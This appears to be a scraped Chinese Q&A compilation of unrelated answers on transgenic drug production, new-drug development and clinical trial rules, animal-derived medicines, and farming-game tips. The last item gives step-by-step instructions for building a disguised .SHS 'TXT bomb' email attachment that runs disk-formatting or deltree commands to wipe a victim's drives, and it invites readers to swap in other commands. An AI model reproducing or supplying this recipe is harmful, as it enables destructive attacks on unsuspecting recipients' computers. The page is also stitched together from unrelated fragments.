本文目录一览如何让动物为药品研制开发做贡献2，动物制药厂是怎么制药的3，真的有药可以引诱野动物达到捕获的目的吗4，佛教徒如何开中药处方有动物药的5，新药的开发研制过程是怎样进行的6，药是怎么研制出来的7，怎么研制高科动物8，牧场物语中动……
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1，如何让动物为药品研制开发做贡献
药品研制后不能直接用于临床实验，要先进行动物实验。。
2，动物制药厂是怎么制药的
基因工程不仅可以让细菌生产药，而且也可组建“动物制药厂”。自从现代基因工程20世纪70年代问世以来，科学家们就致力于用这种技术来生产治疗人类疾病所需的药物，尤其是贵重药物。迄今为止，科学家们不仅在细菌等微生物中获得了成功，而且通过转基因动物来生产药物的成功事例也屡见不鲜。治疗癌症、心脏病、血液病、感染等诸多病症的贵重蛋白药物已经能从哺乳动物如牛、羊、鼠中制造出来，转基因动物成了制药厂。在制药方面，哺乳动物细胞比一般细菌等微生物细胞具有明显的优势。因为哺乳动物的细胞来自和人比较接近的哺乳动物。在这些细胞中产生的蛋白质药物不需太多纯化和加工即可用于人类，而在人类细菌中生产的蛋白质药物则往往需要复杂的加工和纯化，不仅费用昂贵，而且生产出的药物往往使人有排斥反应。转基因动物的研究已开始把目标转向培育能生产药用蛋白的转基因动物这一充满诱惑力的领域中了，并已取得不少成功的例证。那么，什么是转基因动物呢？转基因动物一定是具有新基因的动物，和转基因植物相类似。对于植物，机体水平上的基因操作并不困难。采用Ti质粒、基因枪、花粉管通道导入法等有效的基因转移技术，先将目的基因转移到植物的原生质体内，再将这些原生质体培育成植株，其组织和细胞中就含有外源目的基因了。如何实现动物基因结构的改变呢？显然，动物的体细胞不能作为受体，因为它们不具备像植物细胞那样全能性。为了在整体动物水平上实现基因转移，人们创造性地采用了显微注射技术，也就将目的基因机械地注射到动物的受精卵内，由于目的基因可与受精卵的染色体DNA发生随机整合，当整合有目的基因的受精卵发育成成熟个体时，这就是所谓的转基因动物。动物基因转移的方法相对来说比较简单，不像植物那样需要复杂地将基因搬来搬去，但向动物体内导入基因的具体操作还是有很大难度的。科学家们把显微注射器的一端很长很细的玻璃管插到动物的受精卵里，将外来基因注射到体积比较大的雄前核中去，再将受精卵植入母体内，使之发育成完整的动物。整个操作中的困难在于，动物的卵都非常小，肉眼根本看不见，必须借助于显微镜精密仪器方能进行。有些物动物如鸟的受精卵就更小，操作起来更加困难。故此，人们通常以鱼、鼠、兔、羊、猪、牛等较大的哺乳动物为研究对象进行转基因操作和研究。
3，真的有药可以引诱野动物达到捕获的目的吗
对于黄鳝、泥鳅、鳖、虾等小水产动物的捕捉和进食可以来取以下引诱方法。 1.诱捕方法 利用药物所散发出来的强嗜好性气味,引诱野生或家养的鳖、黄鳝、泥鳅等聚集在一起,达到高效捕捉的目的。
4，佛教徒如何开中药处方有动物药的
能用其他非动物制品替代的就用替代品。实在必须要用到动物制品的当生惭愧心，做药石想。为彼诵往生咒回向后再用吧。但不可杀生。
5，新药的开发研制过程是怎样进行的
新药研制主要分新药临床前研 究和新药临床研究两个过程。l 新药临床前研究内容 药学研究药理学研究毒理学研究一、药学研究主要内容 ⑴ 原料药生产工艺研究 ⑵ 制剂处方及工艺研究 ⑶ 确证化学结构或组分研究 ⑷ 质量研究：包括理化性质、纯 度检查、溶出度、含量测定等 ⑸ 质量标准草案及起草说明 ⑹ 稳定性研究 ⑺ 临床研究用样品及其检验 报告 ⑻ 产品包装材料及其选择依据二、新药药理毒理学研究1．药理学内容：①药效学试验： 主要药效学试验 一般药理学试验；②药动学试验。2．主要药效学研究 1） 药效学试验：应以动物体内试验 为主，必要时配合体外试验，从 不同层次证实其药效。 2） 观测指标：应选用特异性强、敏 感性高、重现性好、客观、定量 或半定量的指标进行观测。3）实验动物：根据各种试验的 具体要求，合理选择动物，对 其种属、性别、年龄、体重、 健康状态、饲养条件、动物来 源及合格证号等，应有详细记 录。5） 给药剂量及途径 ⑴ 试验分组：各种试验至少应设 三个剂量组，剂量选择应合理，尽 量反映量效和／或时效关系，大动 物（猴、狗等）试验或在特殊情况 下，可适当减少剂量组。 ⑵ 给药途径：应与临床相同，如 确有困难，也可选用其他给药途径 进行试验，但应说明原因。6）对照：主要药效学研究应设对照 组，包括： ⑴ 正常动物空白对照组； ⑵ 模型动物对照组； ⑶ 阳性药物对照组（必要时增设 溶媒或赋形剂对照组）。阳性对照药 应选用正式批准生产的药品，根据需 要设一个或多个剂量组。3．一般药理学研究主要观察给药后对动物以下三个系统的影响： ⒈）神经系统：活动情况、行为变化 及对中枢神经系统的影响。 ⒉）心血管系统：对心电图及血压等 的影响。 ⒊）呼吸系统：对呼吸频率、节律及 幅度的影响。 须设2～3个剂量组，低剂量应相当于药效学的有效剂量；给药途径应与主要药效学试验相同，4．药动学研究 对有效成分明确的第一类新药， 可参照化学药品的药动学方法，研 究其在动物体内的吸收、分布、代 谢及排泄，并计算各项参数。5．毒理学研究 Toxicology Study 1）急性毒性（Acute toxicology） 2）慢性毒性（Chronic toxicology） 3）特殊毒性（Special Test） 半数致死量 Lethal Dose 50 (LD50) 最大耐受量 Maximal Resistance Experiment1）急性毒性试验(1）LD50测定选用拟推荐临床试验 的给药途径，观察一次给药 后动物的毒性反应并测定其 LD50。水溶性好的一、二类新药应测定 二种给药途径的LD50。给药后至少 观察7天，记录动物毒性反应情况、 体重变化及动物死亡时间分布。对 死亡动物应及时进行肉眼尸检，当 尸检发现病变时应对该组织进行镜 检。2）最大给药量试验 如因受试药物的浓度或体积限制， 无法测出半数致死量（LD50）时，可 做最大给药量试验。试验应选用拟推 荐临床试验的给药途径，以动物能耐 受的最大浓度、最大体积的药量一次 或一日内2～3次给予动物。（如用小白鼠，动物数不得少于20只，雌雄各半），连续观察7天，详细记录动物反应情况，计算出总给药量（折合生药量g/kg）。 3）长期毒性试验 长期毒性试验是观察动物因连 续用药而产生的毒性反应及其严重 程度，以及停药后的发展和恢复情 况，为临床研究提供依据。长期毒性实验条件 Conditions for Chronic Experiment ⑴ 动物 （Animals） ⑵ 剂量 （Dosage） ⑶方法与给药途径（Methods and route of administration） ⑷ 实验周期（Experimental cycle）治疗局部应用的药物 Drugs for local application 治疗局部疾患且方中不含毒性药材或有毒成分的第三、第四类外用药，一般可不做长期毒性试验。 但需做局部刺激试验、过敏试验，必要时需做光敏试验。可能影响胎儿或子代发育的药物，除按一般毒理学要求进行试验外，还应增做相应的生殖毒性试验 (reproductive experiment) 。特殊毒性实验（Special Test）致癌实验（Carcinogenesis test） genetic mutation 致突变实验（Mutagenesis test） cancer induction致畸癌实验（Teratogenesis test） congenitally deformed baby or congenital malformationDrug dependence Test: addiction进行临床研究应具备的条件申报临床研究并获得国家食品药品监督管理（SFDA)局批准Application for Clinical Study Approval by CDA 获得伦理委员会批准 Supervised by Ethic Council 新药临床实验 Clinical Study of New Drugs临床试验（Clinical Trials)生物等效性试验 （Bio-equivalent Study）临床试验分期 Clinical trialsI 期II期III期IV期I期临床试验 为初步的临床药理学及人体安全性评价试验，主要观察人体对新药的耐受性（tolerance）和药动学规律，为制定给药方案提供依据。Biological equipotent experiment 生物等效性试验II 期临床试验 为随机盲法对照临床试验，主要对新药有效性及安全性作出初步评价，并推荐临床给药剂量。III期临床试验 为扩大的多中心临床试验，应遵循随机对照原则，进一步评价新药的有效性和安全性。IV期临床试验 为新药上市后的监测，在广泛使用条件下进一步考察新药的疗效和不良反应（尤其注意罕见的不良反应）。临床研究要求Principle Require⒈获得国家食品药品监督管理（SFDA) 局批准⒉符合国家药品监督管理局《药品临 床试验管理规范》的有关规定。 ⒊临床研究的病例数应符合统计学要 求。4．在SDA确定的药品临床研究基地中 选择临床研究负责和承担单位⒌ 临床研究单位应了解和熟悉试验用 药的作用和安全性，按GCP要求制 定临床研究方案。⒍ 应指定具有一定专业知识的人员遵 循GCP的有关要求，监督临床研究 的进行。⒎ 不良事件（Adverse events ） 临床研究期间若发生严重不 良事件，须立即采取必要措施 保护受试者安全，并在24小时 内向当地省级药品监督管理部 门和国家药品监督管理局报告。⒏ 临床研究完成后，临床研究单 位须写出总结报告，负责单位 汇总，交研制单位。 有关试验和具体要求⒈ 耐受性试验 受试对象、受试例数、分组、 确定初试剂量⒈ 耐受性试验 ⑴ 受试对象：应选择健康志愿者， 特殊病证可选轻型患者。健康状况 须经健康检查，除一般体格检查外， 尚要做血、尿、粪便常规化验和心、 肝、肾功能检查，并应均属正常。 要注意排除有药物、食物过敏史者。对妊娠期、哺乳期、月经期及嗜烟、嗜酒者亦应除外。还应排除可能影响试验结果和试验对象健康的隐性传染病等。受试例数20～30例，以18～50岁为宜，男女例数最好相等。⑵ 分组：在最小初试剂量与最大初试 剂量之间分若干组。⑶ 确定初试剂量：最小初试剂量一般 可从同类药物临床治疗量的1/10开 始。⒉ 药动学研究⑴ 可与耐受性试验结合进行⑵ 质控要求：检测方法应灵敏度 精、专属性强、回收率高和重 现性好。药品不良反应（adverse drug reaction，ADR）不良事件（adverse event）药品不良反应和不良事件 的判断与处理 ⑴ 药品不良反应 （adverse drug reaction，ADR） 指在规定剂量正常用药过程中所产 生的有害而非期望的、与药品应用有 因果关系的反应。 在一种新药或药品新用途的 临床试验中，如治疗剂量尚未确 定时，所有的有害而非期望的、 与药品应用有因果关系的反应， 也应视为药品不良反应。⑵ 不良事件（adverse event）： 病人或临床试验受试者接受一种药 品后出现的不良医学事件，但并不 一定与治疗有因果关系。⑶ 严重不良事件 （serious adverse event）： 临床试验过程中发生需住院治疗、 延长住院时间、伤残、影响工作能 力、危及生命或死亡、导致先天畸 形等不良事件。 ⑷ 药品不良反应分类 临床试验中药品不良反应分临 床反应和化验异常两部分。 临床反应常分为A、B、C三型。① A型反应：由药物药理作用过强或 与其他药物出现相互作用所引起。 临床试验中观察、检查和评价的主 要是A型反应，其评价方法与上市 后监测药物不良反应的方法相似， 都是通过所发现的反应与所用药物 之间的因果分析来评定反应与药物 是否有关。② B型反应：又称特异反应，可危 及生命且不能预测，一旦发生， 需立即向主办单位与药政管理 部门报告。③ C型反应：常以疾病形式出现，在 新药试验中不易被察觉，常通过流 行学研究发现。药品不良反应的评价标准①五级标准： 有关 / 很可能有关 / 可能有关 / 可能无关 / 无关 用前二种相加来统计不良反应发生率。② 七级标准： 有关/很可能有关/可能有关/不大可能有关/可能无关/无关/无法评价。 如何确定不良事件与药物存在因果关系①用药与出现不良事件的时间关系以 及是否具有量效关系②停药后不良事件是否有所缓解③在严密观察并确保安全的情况下， 观察重复给药时不良事件是否再次 出现等。 ⒋临床试验设计原则Principle of clinical trials随机性（randomization）合理性（rationality）重复性（replication）代表性（representativeness）⑴ 随机性：两组病人的分配均匀，不 随主观意志为转移。⑵ 合理性：既要符合专业要求与统计 学要求，又要切实可行。⑶ 代表性：受试对象的确定应符合样 本抽样符合总体的原则。⑷ 重复性：经得起重复验证。排除系 统误差。⒌ 对照试验⑴ 平行对照试验： 随机分组对照试验，最常用的是试 验药A与对照药B（或安慰剂）进行 随机对照比较。⑵ 交叉对照试验： 拉丁方设计（latin square design）。⒍ 设盲（blinding／masking）： 使一方或多方不知道受试者治疗分配的一种程序。 双盲法试验（double blind technique）⒎ 安慰剂（placebo）安慰剂是指没有药理活性的物质如乳糖、淀粉等，常用作临床对照试验中的阴性对照。安慰剂可引起疗效（正效应）和不良反应（负效应）。镇痛、镇静止咳等的有效率平均可达35.2％土2.2％。分类：纯安慰剂:无药理活性不纯安慰剂:指作用不强的药物，有时起安慰剂的作用。安慰剂效应（placebo effect）⒏ 疗效判断临床疗效评价（response assessment）公认标准采用四级评定。痊愈（cure）显效（excellence）好转（improvement）无效（failure）痊愈率+显效率=有效率（％）。 ⒈ 药品临床前试验管理规范 （good laboratory practice，GLP） GLP是对从事实验研究的规划设计、执行实施、管理监督和记录报告等实验室组织管理、工作方法和有关条件所提出的法规性文件。它主要是针对有关药品、食品添加剂、农药、化学试剂、化妆品及其他医用物品的动物毒性评价而制定的法规，目的在于严格控制药品安全性评价的各个环节，包括严格控制可能影响实验结果准确性的各种主、客观因素，如保证实验研究人员具备一定素质、实验设计慎密合理、各种实验条件合格、数据完整准确以及总结资料科学真实等。2. 药品临床试验管理规范（good clinicaI practice，GCP） GCP的核心是保障受试者与患者的权利，保证临床试验的科学性。这些规范规定了临床试验的有关各方，即申办者、研究者及管理当局在临床试验中的职责、相互关系和工作方式。3. 药品生产质量管理规范（good manufacture practice, GMP） GMP是为生产出全面符合质量标准的药品而制定的生产规范，它由硬件和软件组成，其实施包括药品生产的全过程，从对原料、制剂一直到销售、退货以及药品管理部门 全体人员应具备的条件等都做了详细的规定。原料药的制作与制剂在实质上有一定差别，但GMP要求基本精神要一致。⒋ 药品供应质量管理规范 （good supply practice,GSP）: GSP是为保证药品在运输、贮存 和销售过程中的质量和效力所 制定的管理规范。⒌ 道地药材生产规范 （good organic practice，GOP） GOP是关于大宗药材基地化和集约化的生产管理规范，目前正进行GOP基础研究，争取到2010年，使100种最常用道地药材的质量稳定在高标准水平上，基本消灭次、劣品；使出口值排在前10位的药材达到国际无公害药材（Organic）水平。国家基本药物 Essential Drugs in China 1985年，WHO在内罗毕会议上扩展了基本药物的概念，使其包括了高度重视合理用药的内容，同时，在推荐基本药物目录遴选程序时，还把基本药物的遴选过程与标准治疗指南以及国家处方集结起来，也就是使基本药物与合理用药相结合。 我国的国家基本药物是从我国临床应用的各类药物中，经科学评价而遴选出的具有代表性的药品，无论从疗效、不良反应、价格和质量，还是从稳定性、使用方便性和可获得性等方面，都是同类药物中最佳的；是在经济条件允许的情况下，治疗某种病症的首选药品，它必须能满足大部分人口卫生保健的需要。处方药与非处方药⒈ 处方药(prescription drug)⑴ 刚上市的新药：对其活性和副作用 还需进一步观察；⑵ 可产生依赖性的药品：如吗啡类镇 痛药及某些催眠安定药；⑶ 本身毒性较大的药品，如抗癌药等；⑷ 用药时要经医生开处方并在其指 导下使用，或治疗需实验室确诊 的某些疾病的药品，如治疗心血 管疾病的药品。国家非处方药遴选原则应用安全、疗效确切、质量稳定，使用方便。⒉ 非处方药(Over the counter, OTC) OTC多治疗诸如感冒、发烧、咳 嗽、消化系统疾病、头痛、关节疾 病、过敏症（如鼻炎）等疾病；它 还包括营养补剂如维生素、中药补 剂等药品，大多安全而有效。 甲类非处方药的零售企业必须具有《药品经营企业许可证》。经省级药品监督管理部门或其授权的药品监督管理部门批准的其它商业企业可以零售乙类非处方药。零售乙类非处方药的商业企业必须配备专职的具有高中以上文化程度，经专业培训后，由省级药品监督管理部门或其授权的药品监督管理部门考核合格并取得上岗证的人员。使用注意：因非处方药不需要凭执业医师或执业助理医师处方，消费者即可按药品说明书自行判断、购买和使用，为此，对部分品种除规定了使用时间、疗程外，还强调遇到某些情况时应向医师咨询等。The End
6，药是怎么研制出来的
有很多药物的问世是误打误撞的啊,象万艾可,最初的实验研究是针对心脑血管的,结果人体实验中却发现了另外的作用.1。传统药物有效，具用药经验，提纯上市。
2。分析提纯的药物成分，寻找有效成分结构式。
3。修饰找到的结构式，使更利于吸收或增效。
4。合成这个结构式，或结构类似物，用于治病。中国的药是仿制出来的，很少会自己研究开发的。仿制就是仿造别人的药，就是国外的这种药品已经上市销售了，中国就买过来对其进行研究，并查相关文献资料，再试制出相应的仿制药品，报到国家药监局进行审批，审批通过后就是中国所谓的新药/
7，怎么研制高科动物
点击9级以上的棚窝的房子，就会出现 科研列表，选择科研一种动物就开始科研了，那些动物就是高等级，高收益动物！ 如果棚窝没到9级，你的等级和金币又达到升级棚窝的要求了。可以点击棚窝下的 升级 木牌，进行升级！ 您好！楼主，QQ牧场科研高等级、高收益动物需要把棚和窝升级到9级以上级别，然后点击棚和窝的房子就会出现科研列表了。里面就是可以科研的动物，当然，要科研更好的动物就必须把棚和窝进一步升级，现在棚和窝最高级能升到13级。 如果我的回答对楼主有帮助，请点击答案下的“采纳此答案”如果您还有疑问，请追问采纳后请再评价 五星和 原创祝楼主龙年开心快乐！牧场top6为您解答
8，牧场物语中动物药怎么得到
出牧场后右拐,有a.m.11:00-p.m.4:00开门的鸡小屋,跟柜台说话,有1000G的动物药,鸡牛羊通用,鸡小屋右边有a.m.10:00-p.m.3:00牛小屋,也跟柜台说话,也有1000G的动物药在养鸡场或牛羊舍都有卖，在这两个地方买到的动物药是通用的。如果是MM版还可以对着镜子,用证书.(到班那买的那个)出牧场后右拐,有a.m.11:00-p.m.4:00开门的鸡小屋,跟柜台说话,有1000G的动物药,鸡牛羊通用,鸡小屋右边有a.m.10:00-p.m.3:00牛小屋,也跟柜台说话,也有1000G的动物药 如果是MM版还可以对着镜子,用证书.(到班那买的那个)
9，动物药的应用现状
现代科学研究证实，动物药和同体积、同重量的植物药相比，大都具有极强的生物活性，尤其对某些顽症、重病，更显示了其独特的生物活性。如斑蝥，《神农本草经》中列为下品，以后历代本草均有记载，具有攻毒、破血、引赤、发泡的功能。现代研究表明，斑蝥中含有的斑蝥素为抗癌有效成分，临床治疗肝癌和膀胱癌有效，此外还具有刺激骨髓产生白细胞的作用，这是一般抗癌药所不及的。此外，近年来我国动物药的应用开发研究还体现在新的动物药材的应用和原有药用动物的其它药用部位的开发。如鹿茸是一味著名的中药材，但除鹿茸外，鹿的全身也都是宝，很多部位皆可供药用，如鹿鞭、鹿胎、鹿茸血、鹿肉、鹿骨、鹿角胶、鹿尾等，利用鹿身上这些部位研制的产品，深受人们的喜爱。 另外，随着社会的发展和科学的进步，人类社会更加崇尚自然，返璞归真成为社会新潮，而动物药具有天然的特性，这为我国丰富的动物药资源的开发提供了广阔的天地。目前已开发出来的很多产品都深受广大消费者的欢迎，其中保健品如大力神口服液、金牡蛎，化妆美容品如珍珠美容霜，天然香精如麝香、灵猫香等。可以说在动物药的开发利用方面已经取得了一定的成就。
10，怎样研制病毒
如何制作木马病毒
TXT炸弹的制作 [color=deeppink][/color]
1.创建一个只包含一个空格(
为了减小文件体积)的文本文件，任意取名。
2.打开｛写字板文档｝，将此文件拖放入｛写字板文档｝。也可以点击记｛写字板
文档｝单栏中的“插入\对象”，弹出“插入对象”对话框，选中“从文件创建”，然后
点击“浏览”按钮选择要插入的文件。
3.选中该插入对象的图标，选择菜单栏中的“编辑\包对象\编辑包”(如图1)。在弹
出的“对象包装程序”对话框中，选择菜单栏中的“编辑\命令行”，然后输入如下命令
：start.exe /m format c:/q /autotest /u ，点击“确定”，此时，内容栏中会显示
出命令内容。
4.点击外观栏中的“插入图标”按钮，会弹出一个警告对话框，确认，然后任选一
个图标。
5.选择菜单栏中的“编辑\卷标”，为此嵌入对象取一个名称(会替换原来的文件名
称)。点击“文件”菜单中的“更新”，然后关闭此对话框。
6.将刚刚建立的嵌入对象拖放到桌面上。文件的默认名是“碎片”（在2000下的默
认名为”片段”），现在我们把它改成“password01.txt”。打开电子邮件程序将桌面
上的“password01.txt”作为附件发出，或者将含有嵌入对象(带有恶意命令)的文档作
为附件发出。
7.当邮件接收者误将“password01.txt.shs”文件作为“password01.txt”(如前文
所述，“.SHS”扩展名永远是隐藏的)放心地打开时，或打开文件，点击文件中的嵌入对
象时触发恶意命令(弹出DOS运行窗口，执行格式化命令)．如果将上面的命令替换为：st
art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 则是将删除对方硬盘下所有文件（盘符
根据实际情况自定义）；如果替换为：start.exe /m deltree /y
c:\windows\system\*.* 则是删除对方c:\windows\system\目录底下的所有文件．（当
然大家可以改成其它的命令）
很简单，这样一个恶意的攻击程序被弄出来了！
参考资料：百度
直接无视这种问题、自己的安全还没做好就想学弄病毒、自己到bbs.itzhe.org学习去、
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